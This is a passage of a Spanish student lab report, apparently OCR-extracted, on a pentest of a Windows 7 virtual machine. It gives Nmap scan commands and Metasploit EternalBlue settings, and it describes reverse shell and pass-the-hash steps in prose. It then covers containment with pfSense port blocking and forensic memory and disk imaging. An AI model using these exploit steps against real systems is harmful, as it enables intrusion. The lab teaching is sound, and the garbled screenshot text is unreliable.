la reduccion de vulnerabilidades en el mismo, esto se logra eliminando software, servicios,
usuarios, etc; innecesarios en el sistema; asi como cerrando puertos que tampoco estén en uso
ademas de muchas otros metodos y técnicas.

Para nuestro caso, La maquina virtual Win7-SE2020-X64, presento0 fallos en el sistema
operativo y fue accedida remotamente, teniendo acceso a archivos de interés para la empresa.

Para proteccion de la maquina de una nueva intrusion, se hace necesario ejecutar las
siguientes actividades en la maquina virtual victima:

e Activacion del firewall.
e Actualizacion del antivirus.

e Actualizacion del sistema operativo.
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e Desactivar el acceso remoto

e Bloqueo de puertos

e Configuracion adecuada de permisos de seguridad en archivos y carpetas

Este analisis subraya la importancia de realizar pruebas de penetracion periddicas como
una medida preventiva crucial para mantener la seguridad de los sistemas. La identificacion de
estas vulnerabilidades y la simulacion de ataques en un entorno controlado permiten a la
organizacion tomar decisiones informadas para fortalecer su postura de seguridad y reducir el
riesgo de un ataque real. Implementando las recomendaciones sefialadas, la organizacion puede
mitigar significativamente las vulnerabilidades criticas encontradas y mejorar la resiliencia de su
infraestructura ante amenazas cibernéticas.

2. Describa de manera especifica las herramientas software que utilizé para llevar a cabo
el anexo 4 —escenario 3 enfocado a Redteam. Debera adjuntar evidencia de los comandos
utilizados y resultados que arrojo cada herramienta utilizada, estas herramientas deben
estar clasificadas segun los pasos de un pentesting.

El pentesting en este escenario incluyo el uso de varias herramientas clasificadas segun
las fases de un ataque Red Team:
1. Reconocimiento:
o Nmap: Para la identificacion de puertos y servicios abiertos en la maquina
Windows, ayudando a conocer los servicios expuestos, incluyendo los puertos
comunes y especificos del objetivo (por ejemplo, nmap -sS -p- 192.168.5.102 y

nmap -O -v 192.168.5.102/24).
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2. Andlisis de Vulnerabilidades:

o Nessus: Escaner de vulnerabilidades usado para encontrar debilidades especificas
en el sistema Windows, detectando vulnerabilidades criticas en servicios como
SMBy HTTP.

o Searchsploit: Para buscar vulnerabilidades especificas del protocolo SMB vy del
servicio HTTP en Windows, identificando exploits conocidos como el
"EternalBlue" (CVE-2017-0143) y "Rejetto HTTP File Server" (CVE-2024-
23692).

3. Explotacion:

o Metasploit: Usado para ejecutar exploits como ms17_010_eternalblue que permite
ejecutar un payload y obtener acceso a la maquina Windows. Este exploit fue
configurado con comandos como set RHOST 192.168.5.102, set RPORT 445, y
exploit.

o Wireshark: Para capturar y analizar trafico de red durante la explotacién y asegurar
que los comandos y accesos no fueran detectados o bloqueados.

4. Escalada de Privilegios:

o Meterpreter (Metasploit): Para obtener un shell interactivo y ejecutar el comando
sysinfo, y finalmente escalar privilegios mediante el comando getuid y técnicas
adicionales de explotacién de hash.

Para evidenciar los comandos y resultados especificos, los pasos incluyen capturas y
resultados documentados en la practica del escenario, tales como la configuracion de exploits y

el uso de comandos de explotacion para establecer sesiones y validar acceso.
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3. A continuacion, liste y describa los datos e informacion del anexo 4 — escenario 3 que le

fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la

maquina Windows.

Datos clave para la identificacion del fallo de seguridad

Aplicacién Vulnerable (HTTP File Server - HFS):

Descripcion: La maquina Windows en el escenario tenia instalada la aplicacion HTTP File
Server (HFS) version 2.3, desarrollada por Rejetto, la cual es ampliamente conocida en la
comunidad de seguridad informética por poseer vulnerabilidades explotables.
Vulnerabilidad especifica: Se identificd la vulnerabilidad CVE-2024-23692, la cual
permite la ejecucién remota de cddigo (RCE). Este fallo critico de seguridad en HFS
habilita a un atacante remoto para ejecutar comandos arbitrarios en la maquina
comprometida a través de la interfaz HTTP del servidor.

Importancia: La existencia de esta aplicacion y su version vulnerable proporcionaron un
vector directo para ejecutar un ataque de RCE y tomar control del sistema. Este dato fue
clave para orientar el uso de herramientas de explotacion como Metasploit para atacar
directamente el puerto en el cual operaba HFS (puerto 8080).

Configuracion del Sistema y Servicios Activos:

Descripcion: Durante el andlisis, se detectd que el sistema tenia habilitados servicios
criticos que podrian ser susceptibles a vulnerabilidades conocidas. En particular, los
servicios SMB y HTTP, ejecutandose en los puertos 445 y 8080 respectivamente, permitian
la interaccion y comunicacion con otros dispositivos, exponiendo el sistema a potenciales

ataques.
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Puerto 445 (SMB): Este puerto estaba asociado al protocolo Server Message Block
(SMB), el cual se encontrd vulnerable al exploit EternalBlue (CVE-2017-0143). Esta
vulnerabilidad permite a un atacante ejecutar codigo remoto a través del servicio SMB en
sistemas Windows sin los parches adecuados.

Puerto 8080 (HTTP): Este puerto estaba configurado para el servicio HTTP de HFS, el
cual es vulnerable a RCE. La presencia de ambos servicios en estos puertos especificos
proporciond puntos de entrada estratégicos que facilitaron el ataque.

Importancia: La configuracion de estos puertos permitio no solo identificar los servicios
activos sino también seleccionar exploits especificos para la explotacién de estos, como
fue el caso de EternalBlue para SMB y el exploit HFS RCE para HTTP.

Escalacion de Privilegios:

Descripcion: Una vez que se obtuvo acceso inicial a la maquina Windows mediante la
explotacion de SMB y HFS, fue posible ejecutar comandos en el sistema y explorar el
entorno del sistema operativo. Con el uso de Metasploit y la sesién de Meterpreter
obtenida, se realiz6 una escalacion de privilegios en la maquina comprometida.
Resultado: Al ejecutar comandos como getuid en Meterpreter, se confirmé que el atacante
habia adquirido privilegios de administrador con la cuenta NT AUTHORITY\SYSTEM.
Este nivel de acceso proporcionaba control total sobre la maquina, incluyendo la capacidad
de instalar programas, modificar configuraciones, y realizar cualquier accién
administrativa en el sistema.

Importancia: La escalacion de privilegios fue critica, ya que asegurd un acceso completo
y sostenido a la maquina, permitiendo realizar tareas administrativas y ejecutar pruebas

adicionales para completar el escenario del Red Team. Esto demostr6é la explotacion
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efectiva del fallo de seguridad desde el acceso inicial hasta el dominio total del sistema.
Estos elementos “La aplicacién vulnerable HFS, los servicios SMB y HTTP expuestos,

y la escalacion de privilegios” fueron fundamentales para identificar y explotar los fallos de

seguridad en el sistema Windows de manera estructurada y efectiva en el contexto del Red

Team.

4. (Qué herramienta utilizé para poder identificar los fallos de seguridad de la “maquina

Windows”? ;Qué puerto abre la aplicacion especifica en el anexo?

e Para el analisis y explotaciéon de la maquina Windows en el escenario del Anexo 4 —
Escenario 3, se siguieron estos pasos detallados en la identificacion y aprovechamiento de
fallos de seguridad especificos:

Herramientas utilizadas y su funcién en la identificacién de fallos
I.  Nmap:

e Funcién: Esta herramienta fue utilizada para realizar un escaneo inicial de la maquina
Windows. Con Nmap, se identificaron los puertos abiertos en el sistema objetivo y los
servicios que estaban activos, los cuales eran claves para encontrar potenciales puntos de
entrada y vulnerabilidades explotables.

Comandos usados:

e nmap -SS -p- 192.168.5.102 para un escaneo de todos los puertos abiertos en la direccion
IP de la maquina Windows.

e nmap -sV -sC 192.168.5.102 para identificar las versiones de los servicios que corrian en
los puertos abiertos, especialmente en los puertos 445 (SMB) y 8080 (HTTP).

e Resultados: El escaneo reveld el puerto 445, que indicaba que el servicio SMB estaba

habilitado y vulnerable al exploit EternalBlue, y el puerto 8080, asociado al servicio HTTP
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File Server (HFS), también vulnerable.

Nessus:

Funcién: Nessus se utiliz6 para un escaneo profundo de vulnerabilidades, identificando de
manera especifica vulnerabilidades criticas en los servicios SMB y HTTP de la méquina
Windows.

Procedimiento: Nessus detectd la presencia de una vulnerabilidad en SMB, concretamente
CVE-2017-0143 (conocida como EternalBlue), y en HFS, la vulnerabilidad CVE-2024-
23692, que permite la ejecucidn remota de codigo.

Resultados: EIl analisis de Nessus reforzo la deteccion de servicios criticos expuestos y
proporciond detalles de la vulnerabilidad EternalBlue en SMB y del RCE en HFS.
Metasploit:

Funcién: Metasploit fue la herramienta principal para la explotacion de las
vulnerabilidades descubiertas. Se emple6 para ejecutar el exploit ms17_010_eternalblue
y lograr acceso remoto a través de SMB. Ademas, Metasploit facilitd la ejecucién de un
exploit para la vulnerabilidad en HFS, permitiendo el acceso a la maquina mediante el

puerto 8080.

Comandos usados:

msfconsole para iniciar la consola de Metasploit.

use exploit/windows/smb/ms17_010_eternalblue para seleccionar el exploit adecuado para
EternalBlue.

set RHOST 192.168.5.102 y set RPORT 445 para configurar el host y el puerto de destino.

exploit para ejecutar el ataque.
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e Resultados: A través de Metasploit, se pudo explotar SMB para obtener acceso a la
maquina objetivo, y luego realizar pruebas adicionales en el puerto 8080 para confirmar la
vulnerabilidad de HFS. Este acceso permitié ejecutar comandos en el sistema y verificar la
vulnerabilidad, culminando en la explotacion efectiva de ambos puntos de entrada.

Puertos abiertos y vulnerables en la maquina Windows

e Puerto 445: Asociado al servicio SMB (Server Message Block), permitio la explotacion a
través de EternalBlue (CVE-2017-0143). Esta vulnerabilidad habilité la ejecucion de
cddigo remoto (RCE), proporcionando al atacante acceso al sistema con privilegios altos.

e Puerto 8080: Utilizado por la aplicacion HTTP File Server (HFS), la cual es vulnerable
al exploit CVE-2024-23692. Esta vulnerabilidad en HFS permitio la ejecucion remota de
comandos en el servidor HTTP, facilitando el control y la explotacion de la maquina
Windows.

La combinacion de Nmap, Nessus y Metasploit permitié no solo identificar, sino también
confirmar y explotar estas vulnerabilidades, demostrando la efectividad de la secuencia en un

escenario real de Red Team.
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5. Explique con sus palabras y de manera especifica como afecta el ataque a la maquina

(Windows), haga uso de graficos para explicar el ataque.

llustracion 151 Grafica explicando el ataque realizado

IP Objetivo
IP Atacante 192.168.5.102
192_.1.68.5.105 wWin7
Kali Linux

Se ejecuta
el malware

Genera el
Payload

Se emplea el Reverse Shell e
Y también la técnica Pass-The-Hash

la posibilidad de tener
acceso a la maqg aun
después estar apagada.

Fuente: Propia

Se vulneran las medidas de < I
Seguridad y se establece la = =Z!;)
conexiéon con la magq. objetivo
= S =
| R
m
Atacante

Se obtiene informacion = . I =
de la maquina objetivo y | RIS |

Fuente: Elaboracion propia.

Explicacion del diagrama

La imagen muestra un esquema de un ataque realizado desde una maquina atacante (con el

sistema operativo Kali Linux) hacia una méaquina objetivo (con Windows 7). Cada paso describe

el proceso de como se compromete la seguridad de la maquina objetivo. Vamos a ver cada parte:

1. Preparacion del Ataque:

o

La maquina atacante, que tiene la direccién IP 192.168.5.105, es configurada con Kali

Linux, un sistema operativo que se usa cominmente para realizar pruebas de seguridad.

El atacante genera un payload. Un payload es un cédigo malicioso o una especie de

"paquete™ que contiene instrucciones para hacer que el sistema objetivo haga lo que el

atacante desea. Este payload se disefia especificamente para atacar la maquina

Windows 7 de la red.
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2. Establecimiento de la Conexion:

o Lamaquina objetivo, con la direccién IP 192.168.5.102, es un sistema Windows 7.

o Unavez que se crea el payload, se envia a la maquina objetivo. Cuando este se ejecuta
en la maquina Windows, se vulneran las medidas de seguridad del sistema (es decir,
se "rompen" las barreras que protegerian normalmente al sistema).

o Esto establece una conexion entre el atacante y la maquina objetivo a través de una
"puerta trasera™ o canal de comunicacidn abierto por el payload.

3. Ejecucién del Malware:

o En el sistema Windows 7, el payload actia como un malware (software malicioso) y
se ejecuta automaticamente. Al ejecutarse, permite al atacante tomar control parcial o
completo de la maquina objetivo.

4. Uso de Reverse Shell y Pass-The-Hash:

o Reverse Shell: Es una técnica en la que el sistema Windows 7 (objetivo) abre una
conexion de vuelta a la maquina atacante. Esto significa que ahora el atacante puede
enviar comandos directamente a la maquina objetivo, como si estuviera usando el
teclado y la pantalla del sistema comprometido.

o Pass-The-Hash: Esta técnica permite al atacante usar las credenciales (informacion de
acceso) de la maquina objetivo sin necesidad de conocer la contrasefia. Simplemente
usa el "hash" o version cifrada de la contrasefia para acceder y mantener el control.

5. Obtencion de Informacién y Control Continuado:

o Una vez que el atacante tiene acceso, puede obtener informacion sensible de la

maquina objetivo, como datos de usuario, archivos importantes o cualquier otro tipo de

informacidn almacenada.
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o Ademas, el atacante podria configurar el sistema para mantener el acceso incluso si

la maquina se reinicia o apaga.

Puerta Empleada: En ataques similares, generalmente se usan puertos comunes como el
puerto 445 (usado por SMB, o Server Message Block) o el puerto 135 (utilizado para RPC, o
Remote Procedure Call) en sistemas Windows. En este caso, dado que el sistema objetivo es
Windows 7, es muy probable que el ataque haya usado puertos de SMB (445), que es un puerto
conocido por su vulnerabilidad en versiones anteriores de Windows, incluyendo Windows 7.

6.4 ETAPA 4: CONTENCION DE ATAQUES INFORMATICOS

Contencion de ataques informaticos La actividad consiste en: De manera individual usted
debera leer el problema que se encuentra en el anexo 5 — escenario 4 referente a equipo Blueteam
y por medio del banco de trabajo configurado en la actividad anterior debera dar respuesta a las
siguientes preguntas orientadoras:
¢ Qué seria lo primero que indagaria y haria si llegara a encontrarse un atague en tiempo
real? especifique su respuesta con argumentos técnicos.

Respuesta a la Situacion Problema - Analisis Blue Team y Comprendiendo el Escenario:

Nos encontramos ante una situacion critica donde un sistema Windows 7, previamente
analizado, estd bajo ataque. La organizacion, CyberFort Technologies, requiere una respuesta
rapida y efectiva por parte del equipo Blue Team, utilizando herramientas de codigo abierto y sin
incurrir en costos adicionales. El objetivo principal seria contener la amenaza de inmediato y
preservar la evidencia para analisis forenses. Los pasos especificos a seguir serian los siguientes:

Paso 1: Aislamiento del equipo afectado (Contencidn del ataque)

1. Desconectar del sistema comprometido de la red:
o Lo primero que haria seria desconectar inmediatamente el equipo afectado de la

red para evitar que el atacante siga propagando el malware o exfiltrando datos. Esto
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es clave, especialmente si se esta utilizando HSF (Http File Server) o Msfvenom

(payloads maliciosos) (MITRE ATT&CK, s. f.).

llustracion 152 Desconexion del equipo a la red de internet

Se procede a desconecar el equipo de la red

B o oe

Fuente: Elaboracién Propia.

Evitaria apagar el equipo, ya que esto podria borrar evidencia valiosa de la

memoria volatil o de los logs, lo que es crucial para el analisis forense (Kent et al.,

20064).

llustracion 153 Se debe evitar apagar el equipo

&,’ Informacién del sistema

usuario
<-:-= Firefox Navegacién privada

Documentos

Imagenes

Muasica

Equipo

Panel de control

Dispositivos e impresoras
Evitar apagar elequipo. Programas predeterminados

Ayuda y soporte técnico

> Todos los programas

[F2ascorprogramas.y architras 7] | i)

El? - °© e

Fuente: Elaboracion Propia.
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o

Deshabilitar accesos remotos:

Bloquear accesos remotos mediante herramientas de administracion remota como

RDP o SSH, asi como deshabilitar cualquier acceso a cuentas comprometidas para

evitar que el atacante mantenga el control del sistema (CISA, 2023).

llustraciéon 154 Deshabilitar servicio remoto en windows 7

_ Propiedades de Se

4 Servicios
Archivo  Accién  Ver Ayuda
L CHEN ? Nl )

os de Escrit

o remoto (Equipo local)

General | Iniciar sesion | Recuperacién | Dependencias |

Nombre de servicio:

TemService l

INombre para mostrar: Servicios de Escritoro remoto

<, Servicios (locales)

Descripeisn: Permits a los usuanos consctarse de forma

jrtersctiva a un equipo remoto. Escritorio remoto _

Servicios de Escritorio remoto N Estado  Tipodeinicio Iniciar sesién como *
= Fita de acceso al sjscutable: .
= ctivacion de li.. Iniciado  Manual Servicio local
Iniciar el servicio o 32\svohost exe
“hiEn = de cargary des... Iniciado  Automatico Sisterna local
Zh [T'rm de inicio. Deshabilitado ']] | protocolo de ... Manual Servicio local
Descripcién: = — - : - - bre de equipo ... Manual Servicio local
rarm‘te 3 05 ususrios conectarsede 1] udarme a corfigurar las opciones de inicio de servicios ermtre 1os e Marual cervicio local
‘orma interactiva a un equipe - . e
remote. Escritorio remoto y el sy Estado del servicio:  Detenido do plano medi.. Iniciado  Automatico (.. Sistema local
cervidor host de sesion de Escritorio G partir puertos ... Deshabilitade  Servicic local
e i e Eet® = ot === ramrotutor . Iniciado Ausometion f Sanic de red
Para impedir el use remoto de este &3 N . - de Internet (iS... Manual Sisterna local
equipo, desactive las casillas de la ; Puede especiicar los parémetros de inicio que se aplican cuando se inicia
ficha Acceso remoto, en el dlemento oA &l servicio desde aqui dows usa el ser... Manual Sisterna local
Propiedades del sistema del Panel de | Pt p ectivas de gru.. Manual Sisterna local
control. = srémetros de inici cuando los pro.. Manual Sisterna local
= ciones dered (.. Iniciado  Automatico Servicio local
= de programas ... Manual Servicio de red
= T I Center para la ... Manual Servicio de red -
o [_acsptar | [ cancelar J[ spicar ] hsauta de plata... Manual Servicio local ‘ ‘
', Servicios de Escriterio remote Permite a los usuarios conectarse de forma... Manual Servicio de red I
T Seridor Tfrece Ton usc compariid, - Tiaiedo Ttomat Teterma Tocal
4 Servider de orden de subprocesos Ofrece la pesibilidad de gjecutar de ferma ... Manual Servicic local p
== = = = = = = —
Fuente: Elaboracion Propia
" Servicios
Archivo  Accién  Ver Ayuda
L o HENENERN 7 NIRRT
~ Servicios (locales) . Senvicios (locales)
Servicios de Escritorio remoto Nombre Descripcién Estado Tipe deinicio  Iniciar sesion come *
% Servicio de notificacién de S5P Proporcicna notificacion y activacién de li..  Iniciado  Manual Servicio local
Descripcién: 7 c
Perm\tpea los usuarios conectarse de. Servicic de perfil de usuario Este servicio es responsable de cargar y des..  Iniciado  Automatico Sistema local
forma interactiva a un equipo . Servicio de protocolo de tinel de sockets sequros  Ofrece compatibilidad con el protocelo de ... Manual Servicio local
remoto. Escritorio remoto y el “; Servicio de publicacion de nombres de equipo ... Este servicio publica un nembre de equipo ... Manual Servicio local
servidor host de sesién de Escritorio . Servicio de puerta de enlace de nivel de aplicaci... Proporciona compatibilidad entre los com... Manual Servicio local
remoto dependen de este servicio. , .
Para impedir el uso remoto de este % Servicio de transferencia inteligente en segunde.. Transfiere archivos en sequndo plano medi.. Iniciado  Automatico (i Sistema local
equipo, desactive las casillas de la “; Servicio de uso compartido de puertos Net.Tep  Ofrece Ia posibilidad de compartir puertos ... Deshabilitado Servicio local
ficha Acceso remoto, en el elemente ' Servicio de uso compartido de red del Reproduc.. Comparte las bibliotecas del Reproductor.. Iniciade  Automatice (.. Servicio de red

Propiedades del sistema del Panel de
control.

% Servicio del iniciador i5CSI de Microsoft

Administra las sesiones SCSI de Internet (iS,

% Servicio del médulo de copia de seguridad a niv.. Copias de seguridad de Windows usa el ser...

“; Servicio enumerador de dispositivos portatiles
. Servicio Informe de errores de Windows

%, Servicio Interfaz de almacenamiento en red

£ Servicio Programador de Windows Media Center
% Servicio Receptor de Windows Media Center

£ Servicios de base TPM

Exige el cumplimiento de directivas de gru..
Permite informar de errores cuando los pro

Este servicio entrega notificaciones de red (...
Inicia y detiene la grabacion de programas ...
Servicio de Windows Media Center parala ...
Permite el acceso al TPM (Mddule de plata...

Iniciado

Manual
Manual
Manual
Manual
Autemitico
Manual
Manual
Manual

Sistema lacal
Sistema local
Sistema lacal
Sistema local
Servicio lacal
Servicio de red
Servicio de red
Servicio local

s conectarse de forma.

—Servicor w

% Servidor de orden de subprocesos

s Tt

=
Ofrece la posibilidad de ejecutar deforma...

et

Manual

Stererrioeet

Servicio local

<

", Extendido 4 Estandar

Fuente: Elaboracion Propia.
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3. Redirigir trafico y bloquear puertos:

o Configurar firewalls para bloguear puertos y redirigir el trafico entrante y saliente

Unicamente a lo esencial, reduciendo asi las rutas de propagacion del ataque (CISA,

2023) & (CIS, 2024b).

llustracion 156 Reglas bloqueo de puertos en Firewall Pfsense

ure I 192.168.5.118/firewall_rules.php?if=lan I

| Firewall / Rules / LAN | =wEe
The changes have been applied successfully. The firewall rules are now releading in the background
Monitor the filter reload progress.
Floating WAN LAN
Rules (Drag to Change Order)
' States Protocol Source Port Destination Port Gateway Queue Schedule Description Actions
v 3/1.30 MiB * * LAN Address 80 * - Anti-Lockout Rule ¢
v 0/0B IPvaTCP  * . 192.168.5.102/24 3389 (MSRDP)  * none &S 00m
v  0/0B IPvaTCR  * . 192.168.5102/24  137-139 * none &S00m
L o/oB IPvaTCP e o 192.168.5.102/24 3389 (MS RDP) B none \L f‘@ﬁ
v 0/0B IPvaTCP  * * 192.168.5.102/24 445 (MSDS) - none 1, 00m
v  ooB IPv4 TCP 192.168.5.102/24 8080 - 8443 * none +,00m
 0/0B 1Pva TCP 102.168.5.102/24 443 (HTTPS) * none 1S 00m
« 008 IPvaTCP  * * 192.168.5.102/24 8O (HTTP) * none &S00m
L o/0B PvaTCP 192.168.5.102/24 4444 * none '3) ?‘@ ﬁ
v  1/4KiB IPva* * . * none L, 00mx

Fuente

4. Captura de evidencia:

(1 socJ1 sco Tl occ § © rovoe J O coor | B e

: Elaboracion Propia.

o Iniciar capturas de trafico de red utilizando Wireshark u otras herramientas de

analisis de trafico para monitorear las conexiones sospechosas y detectar

actividades relacionadas con el ataque (Wireshark, s. f.).
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llustracion 157 Captura del trafico al ejecutar HFS

s Tools Hep

Fuente: Elaboracion Propia.

(PaloAlto, s. f.).

Obtener logs del sistema, eventos y registros de aplicaciones comprometidas
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lustracion 158 Consulta de logs del sistema

“F  Filtrados:Registro: Security; Origen: Intervalo de datos: Desde 19/11/2024 08:03:26 a.m. hasta 19/11/2024 11:03:26 p.m.. Nimero de eventos: 195

Palabra... Fechay hora Origen Id. del .. Categoria de |a tarea m

QAud\”. 19/11/2024 04:27:03 p.m. Auditoria de seguridad ... 4624 Inicio de sesién

Q‘Aud\”. 19/11/2024 04:27:03 p.m. Auditoria de seguridad ... 4608 Cambio de estado de seguridad

Q‘Aud\”. 19/11/2024 04:27:05 p.m. Eventlog 1101 Procesamiento de eventos

@\lAud\”. 19/11/2024 04:08:58 p.m. Auditoria de sequridad ... 4634 Cerrar sesion

“Z\\lAud\”. 19/11/2024 04:08:58 p.m. Auditoria de seguridad ... 4624 Inicio de sesian U

@, Audi.. 19/11/2024 040418 p.m. Auditorfa de seguridad ... 4672 Inicio de sesion especial

QAud\”. 19/11/2024 04:04:18 p.m. Auditoria de seguridad ... 4624 Inicio de sesién

Q‘Aud\”. 19/11/2024 03:38:32 p.m. Auditoria de seguridad ... 4634  Cerrar sesién

Q‘Aud\”. 19/11/202403:58:31 p.m, Auditorfa de seguridad ... 4624 Inicio de sesién

@\lAud\”. 19/11/2024 03:52:14 p.m. Auditoria de sequridad ... 4634 Cerrar sesion

@ Audi.. 19/11/202403:5213 pm. Auditorfa de seguridad ... 4672 Tnicio de sesién especial

?{Aud\”. 19/11/2024 03:52:13 p.m. Auditoria de seguridad ... 4624 Inicio de sesién

@, Audi.. 19/11/202403:5213 pm. Auditorfa de seguridad ... 4648 Inicio de sesion

QAud\”. 19/11/2024 03:41:44 p.m. Auditoria de seguridad ... 4672 Inicio de sesién especial

Q‘Aud\”. 19/11/2024 03:41:44 p.m. Auditoria de seguridad ... 4624 Inicio de sesién

@, Audi.. 19/11/202403:35:44 p.m. Auditorfa de seguridad ... 4672 Inicio de sesién especial

“Z\\lAud\”. 19/11/2024 03:35:44 p.m. Auditoria de seguridad ... 4624 Inicio de sesian

QAud\”. 19/11,/2024 02:56:44 p.m. Auditoria de seguridad ... 4634 Cerrar sesion

@, Audi.. 19/11/202402:56:43 p.m. Auditorfa de seguridad ... 4672 Inicio de sesion especial

QAud\”. 19/11/2024 02:56:43 p.m. Auditoria de seguridad ... 4624 Inicio de sesién

Q‘Aud\”. 19/11/2024 02:36:43 p.m. Auditoria de seguridad ... 4648 Inicio de sesién 5

Evento 4624, Auditoria de seguridad de Microsoft Windows. x

General | Detalles
Vista descriptiva () Vista XML

SubjectUserName PC202006% i
SubjectDomainName WORKGROUP
Subjectlogonld 0x3e7 U
TargetUserSid ~ S-1-5-21-1771133258-498679759-53607625-1003

TargetUserName Rodrigo_Mendez
TargetDomainName PC202006
Targetlogonld  0x2528e3

I nnanTuna 2

Fuente: Elaboracion Propia.

lHustracion 159 Consulta de logs del sistema

Sistema
Nivel Fechay hora Origen Id. del evento  Categoria de la tarea &
Informacién 19/11/2024 04:57:06 p.m. Service Control Manager 7036 MNingune
Informacién 19/11/2024 04:44:11 p.m. Service Control Manager 7036 Ninguno
Informacién 19/11/2024 04:37:17 p.m. Service Control Manager 7036 MNingune o
Informacién 19/11/2024 04:34:11 p.m. Service Control Manager 7036 Ninguno
Informacién 19/11/2024 04:32:08 p.m. Service Control Manager 7036 MNingune
Informacién 19/11/2024 04:29:15 p.m. Service Control Manager 7036 Ninguno
Informacién 19/11/2024 04:29:14 p.m. Service Control Manager 7036 Ningune
Informacién 19/11/2024 04:2913 p.m. Service Control Manager 7036 MNingune
Informacién 19/11/2024 04:29:13 p.m. Service Control Manager 7036 Ningune
Informacién 19/11/2024 04:2913 p.m. Service Control Manager 7036 MNingune
Informacién 19/11/2024 04:29:13 p.m. Service Control Manager 7036 Ninguno
Informacién .m. Service Control Manager 7036 Ninguno
o de uso compartido de red del Re. Ninguno
Informacién .m. Servicio de uso compartido de red del Re.. 14204 Minguno
Informacién 19/11/2024 04:29:12 p.m. Service Control Manager 7036 Ninguno
Informacién 19/11/2024 04:29:12 p.m. Service Control Manager 7036 Ningune
Informacién 19/11/2024 04:27:33 p.m. Service Control Manager 7036 MNingune
Informacién 19/11/2024 04:27:23 p.m. Service Control Manager 7036 Ningune
Informacién 19/11/2024 04:27:22 p.m. Application-Experience 206 Minguno
Informacién 19/11/2024 04:27:20 p.m. Service Control Manager 7036 Ninguno
Informacién 19/11/2024 04:27:18 p.m. Service Control Manager 7036 MNingune
(DInformacién 19/11/2024 04:27:09 p.m. Winlogen 7000 101)
(Dinformacién 19/11/2024 04:27.08 p.m. Service Control Manager 7036 Ningune <
Evento 14206, Servicio de uso compartido de red del Reproductor de Windows Media x

General | Detalles

IEI servidor multimedia "PC202006: usuario:” se inicializé correctamente y ya estd compartiendo multimedia con otros dispesitives multimedia en la red.

Nombre de registro: ~ Sistema

Origen: Servicio de uso compartido de red  Registrado: 19/11/2024 04:29:14 p.m.
Id. del evento: 14206 Categoria de tarea: Ninguno

Nivel: Informacién Palabras clave:  Clasico

Usuario: No disponible Equipo: PC202006

Cédigo de operacién: Informacién

Més informacién: Ayuda Registro de eventos

Fuente: Elaboracion Propia.

218



o Crear imagenes forenses de la memoria RAM y del disco duro para su analisis

posterior, asegurando gque no se pierda evidencia critica (Kent et al., 2006a).

llustracion 160 Volcado de memoria RAM

rator: Command Prompt -8 x|

D:\>cd preparacion herramientas

D:s\preparacion herramientas>winpmem_mini_xb4_rc2.exe “K:\Evidencias forenses‘vol
cado_de_memoria.rauw'

_|ol ]
.'ij I Search Evidencias forenses ral|
1@
E modified | Type | Size
3/2023%:31AM  System Information. .. 1,03

Fuente: Elaboracion Propia.

llustracion 161 Volcado de disco duro

Administrator: Command Prompt —1=| =l
=

D :~preparacion herramlentao>u1npmem mini_x64_»c2.exe "HiwEvidencias forenses-wol
cado_de_memoria.raw'

W inPme mb <1

Extracting driver to C:~Users~ADMINI“1~AppDatasLocal~Temp-1-pmeAB@DEB.tmp

Driver Unloaded.

ers ADMINI “1“AppData:Local Temp 1pmeABDB. tmp.
DHMINI~1\AppData~Local~Temp~1ipmeABDE .- tmp || [ search Evidencias forenses p'-:
e P S

Ri

i » size .z 4== -~ [
CR3 = axaaaa1s7aaa

3 memory ranges: |nrDE |5,ZE | |
Stant DxBODALAON — Length 0x0009E0NO

Start BxAB1AB000 — Length BxDFEFBRAG o

Start Bx100000000 — Length Bx20000000 [ System Information... 991KB
max,physn:al,memory, BleBBBBBBB RAW File 4,718,592 KB

Acguitision mod PTE Remapping
Pagdlng from BXBBBBBBBB to BxBBE01 8868
pa

— length: Bx18688

B8 GxdueeEagE .

— end: Bx2fB80H8

B0 AxA0BEa1 8608

Padd:l.ng from BxOOEYFEEN to Bx00100000
pad

— length: Bx618080

B> BxB0E2FA6A .

- Bx0010060060 .
> Bx321060868
< Bx6418060868 .
< Bx?6180608608 .
axCB1i06808 .
Paddlng From BxD A088 to @x
pad
— length: Bx28601608608

77 BxDFFFRA0A
copy_memory
— start: Hxld@BEE0a8
— end: Bx120088000

88 Bx1000AB0H6
The system time
Driver Unloaded.

D:~preparacion herramientas>_

Fuente: Elaboracion Propia.
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llustracion 162 Volcado de disco duro finalizado

 ~ Computer ~ Lab.UNAD (K:) ~ Evidendias forenses

Organize ¥ Include in library ~ Share with v New folder S A

r Favorites Name - Date modified | Type | Size
Bl Desktop || Copyserver.raw 11/19/2023 1:49 PM RAW File 62,914,560

% Downloads . PR p— 444N RO S 4. ARA b ¥ fm e die e A m

=101 X bt 1KB
preparacion herramientas\dc3dd>dc3dd if =\\.\PHYSICALDRIUE® of="K:\Evidencias 4,718,592 KB
forenses\CopyServer.raw"” hash=sha512 verb=on

dc3dd 7.2.641 started at 2023-11-19 13:31:54 —0800
compiled optio
dc3dd if =\\.\PHYSICALDRIUE@ of=K:\Evidencias forenses\CopyServer.r|
aw hash=sha512 verb=on
cygwin warning:
MS—DOS style path detected: \PHYSICALDRIVE®
Preferred POSIX equivalent /. ./PHYSICALDRIVE®
CYGWIN environment variable option ‘“nodosfilewarning" turns off this warning.
for more details about POSIX path
/cyguin—ug—net using-html#iusing—pathnames
sec SYBN2 butes <o wne
£5435339592 bytes < 68 G pied < @z >. 1868 s, 58
1 reading ‘NNNN- S PhvS12aiBRione’ in soccon range § 20659120 125829183 : Inval
id argument
64424509440 bytes < 608 G > copied < Ox >, 1868 s. 58 M/s

input results for file ‘\\\N\.\\PHYSICALDRIUE®’ :
125829120 sectors in
75a75036de@6b3ehB3hB9c4f 2c6bB53d9845b8eaf h90f Be?7dc55d45e3875a42280e Bc 795
63790 BAd3E A00col 836700 069176315 aBIEIohITehetlsoel cahattss
output results for file ‘K:\\Evidencias forenses\\CopyServer.raw’:
125829128 sectors out

dc3dd failed at 2023-11-19 13:49:30 —08060

D:\preparacion herramientas\dc3dd>._

17PM

& Utb @ % ﬂb 11/’19/2023!

Fuente: Elaboracion Propia.

llustracion 163 Copias del disco y RAM y Hash

=10/x|

‘;.\ J » Computer = Lab.UMAD (K:) = Evidencas forenses * 3 | Search Evidencias forenses

Organize + Includeinlibrary +  Sharewith =  New folder

(il

2
@

= Eavorites Mame « Date modified | Type Size | |
Bl Desktop CopyServer.raw 11/19/2023 1:49PM  RAW File 62,914,560,..
& Downloads 3 info del sistema 11/18/2023 11:55 AM  System Information. .. 991 KB
= Recent Places | sha512_DiscaD 11/18/2023 3:27PM  Text Document 0KE
